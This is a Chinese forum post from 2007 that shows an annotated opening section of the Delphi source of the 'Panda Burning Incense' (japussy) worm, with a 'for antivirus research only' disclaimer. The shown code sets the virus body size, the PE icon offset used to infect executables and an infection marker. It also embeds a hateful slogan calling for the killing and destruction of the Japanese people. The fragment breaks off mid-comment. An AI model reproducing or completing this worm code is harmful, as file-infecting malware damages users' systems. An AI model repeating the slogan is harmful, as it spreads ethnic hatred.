熊猫烧香原代码解析 点击:495 | 回复:0



werttytyy

    
  • 精华:0帖
  • 求助:0帖
  • 帖子:17帖 | 59回
  • 年度积分:0
  • 历史总积分:469
  • 注册:2006年4月19日
发表于:2007-07-30 18:47:00
楼主
部分代码,仅供研究防毒之用,切勿用于非法用途.(为了易于理解与阅读,对源码做了改动---彩色部分)

病毒编写语言:Delphi 

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const                                          //定义程序中的数据常量
m_virussize = 82432;                 //病毒体的大小//原文是headersize
iconoffset = $12eb8;               //pe文件主图标的偏移量//产生熊猫磕头动作

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
  
{                                                 //中括号中的代码是对病毒的描述,不参与编译
m_virussize = 38912;                 //upx压缩过病毒体的大小
iconoffset = $92bc;                 //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize       = $2e8;                 //pe文件主图标的大小--744字节
icontail       = iconoffset + iconsize; //pe文件主图标的尾部
id           = $44444444;             //感染标记

//垃圾码,以备写入
catchword = if a race need to be killed out, it must be yamato. +//字符常量
            if a country need to be destroyed, it must be japan! +
            *** w32.japussy.worm.a ***;
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer; 
stdcall; external kernel32.dll; //函数声明
var                                         //程序变量声明
m_tmpfile: string;
m_si:         startupinfo;             //系统启动信息类型数据
pi:         process_information;//标记进程句柄与运行ID信息的数据类
isjap:       boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;  //tosversioninfo是表示系统版本的结构类型,他在C++中结构为---

{typedef struct _OSVERSIONINFO{ DWORD dwOSVersionInfoSize;   //指定该数据结构的字节大小                                 DWORD dwMajorVersion;   //操作系统的主版本号                       &n


热门招聘
相关主题

官方公众号

智造工程师